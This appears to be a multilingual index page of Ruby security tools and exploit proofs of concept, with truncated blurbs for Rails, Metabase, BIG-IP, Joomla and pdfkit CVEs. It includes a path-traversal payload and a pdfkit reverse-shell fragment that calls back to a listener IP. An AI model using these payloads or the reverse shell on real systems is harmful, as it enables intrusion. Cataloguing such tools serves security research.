CVE-2021-41277

CVE-2021-41277 metabase 익스플로잇을 위한 간단한 프로그램 설치 gem install httparty gem install colorize gem install timeout ruby CVE.rb...

rails-rce-cve-2016-0752

CVE-2016-0752 취약점 악용 이 앱은 CVE-2016-0752를 악용하기 위한 취약한 PoCProof of Concept 역할을 합니다. 자세한 내용은 이 블로그 게시물을 참조하세요. 해당 게시물에는 취약점, 악용에 필요한 단계, 수정 방법, Metasploit 모듈 링크가 설명되어 있습니다. 시작하기 root@kitploit: echo "" log/development.log Clear out the log file rvm use 2.2.3 bundle rails s 취약 URL:...

Sububy

Sububy Sububy는 Ruby로 작성된 올인원 서브도메인 열거 제품군입니다. 정확성과 품질에 중점을 두며, 일부 모듈을 개별적으로 접근할 수 있는 유연성을 제공하여 도구 실행 흐름에 얽매이지 않고 워크플로에 통합할 수 있습니다. Sububy는 총 9개의 모듈을 제공하며, 이 중 10개 중 6개는 열거enumeration용이고 나머지는 열거 후post enumeration 작업을 수행합니다. 카테고리| 모듈| 설명 ---|---|--- 열거| Cert| 인증서 투명성 로그에서 서브도메인 검색. | Brute| 제공된 단어...

lempo

Lempo: POrtainer における LDAP 露出 CVE-2018-19466 | Mauro Eldritch（別名 plaguedoktor） root@kitploit: ./lempo.rb TARGETIP TARGETUSER TARGETPASSWORD このエクスプロイトは、私の講演 Hacking Docker with PAZUZU の補足です。 発表 | 日付| カンファレンス| ビデオリンク| スライドリンク ---|---|---|---|--- 1| NOV-2018| DEVFEST Siberia| 未定|...

Ruby Dragonfly <1.4.0 - Remote Code Execution

Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verifyurl option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishand...

Ruby On Rails - Local File Inclusion

Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server. id: CVE-2018-3760 info: name: Ruby On Rails - Local File Inclusio...

Ruby on Rails - Open Redirect via Host Header Injection

Ruby on Rails action pack before 6.1.2.1, 6.0.3.5 contains an open redirect caused by special crafted Host headers in combination with allowed host formats, letting attackers redirect users to malicious websites, exploit requires attacker to control Host headers. id: CVE-2021-22881 info: name: Ru...

Ruby on Rails Web Console - Remote Code Execution

Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelistedips protection mechanism via a crafted request to request.rb...

Camaleon CMS < 2.8.1 Arbitrary File Write to RCE

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on depending on the permissions of the underlying filesystem. E.g. This can lead to a remote...

CVE-2019-16405.rb

Questo repository non contiene un README...

CVE-2020-5902

CVE-2020-5902 BIG-IP CVE-2020-5902 Exploit POC e scansione automatica della vulnerabilità semplice programma per l'exploit di big-ip e la scansione automatica della vulnerabilità installazione gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...

CVE-2020-8163

CVE-2020-8163 Ambiente ed exploit per CVE-2020-8163: esecuzione remota di codice cieca di nomi locali forniti dall'utente in Rails 5.0.1 e 4.2.11.2 Crea l'ambiente 1. crea un container docker mappando la porta 4000 sulla 8001 root@kitploit: sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash 2...

ermir

Ermir Ermir è un Evil/Rogue RMI Registry, sfrutta la deserializzazione non sicura su qualsiasi codice Java che chiami metodi RMI standard su di esso list/lookup/bind/rebind/unbind. Requisiti Ruby v3 o successivo. Installazione Installa Ermir da rubygems.org: root@kitploit: $ gem install ermir...

Ruby-On-Rails-Path-Traversal-Vulnerability-CVE-2018-3760-

Ruby On Rails Path Traversal-Schwachstelle（CVE-2018-3760） 中文版本Chinesische Version Ruby On Rails ist ein bekanntes Ruby-Webentwicklungsframework, das Sprockets als statischen Dateiserver in der Entwicklungsumgebung verwendet. Sprockets ist eine Ruby-Bibliothek, die statische Ressourcendateien...

CVE-2016-2098

CVE-2016-2098 Vulnerabilità di esecuzione remota di codice in Ruby-on-Rails quando si usa render su dati forniti dall'utente. Spiegazione: Questo problema deriva dall'uso del metodo render su dati forniti dall'utente. Il metodo render è solitamente usato per renderizzare una pagina da un template...

pastenum

Pastenum Pastenum é uma ferramenta de enumeração de despejos de texto. Ela foi projetada para ajudar a encontrar e enumerar datadumps e doxs postados em sites públicos. Atualmente, ele pesquisa nos sites github.com, gist.github.com, pastebin.com, pastee.org e pastie.org. Pastenum é uma reescrita ...

CVE-2023-23752

CVE-2023-23752 Programa simples para scanner joomla CVE-2023-23752, este é um script Ruby simples que verifica se uma lista de alvos é vulnerável ao CVE-2023-23752, uma vulnerabilidade crítica de segurança em uma aplicação web. O script envia uma requisição HTTP GET para um endpoint específico e...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Tramite CURL modifica i valori in grassetto: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

leprechaun

Leprechaun root@kitploit: .-----. / V \ |...| |.....| .-' '-. .-. .-./ .--. |\ /| .-;.-"-.-;;-, =/ . -;,-;, . .-.-. . / ||'-'|| \ ,'--;.\ .;--' // o \ // --.. o '';,//| || : || |\ ;' \ '.\--' |"""""""|// / ':.// ,/\ | '---'| ||| ; Leprechaun ; ;""|""; \ / | '. vonahisec .' .' / \ '. '-,...

hoper

Hoper Mostra tutti i salti che un URL da te specificato compie per raggiungere la sua destinazione. Ad esempio, se vuoi vedere l'intero percorso di un URL email o di un URL accorciato. Hoper restituisce tutti i reindirizzamenti degli URL. Installazione root@kitploit: $ gem install hoper Utilizzo...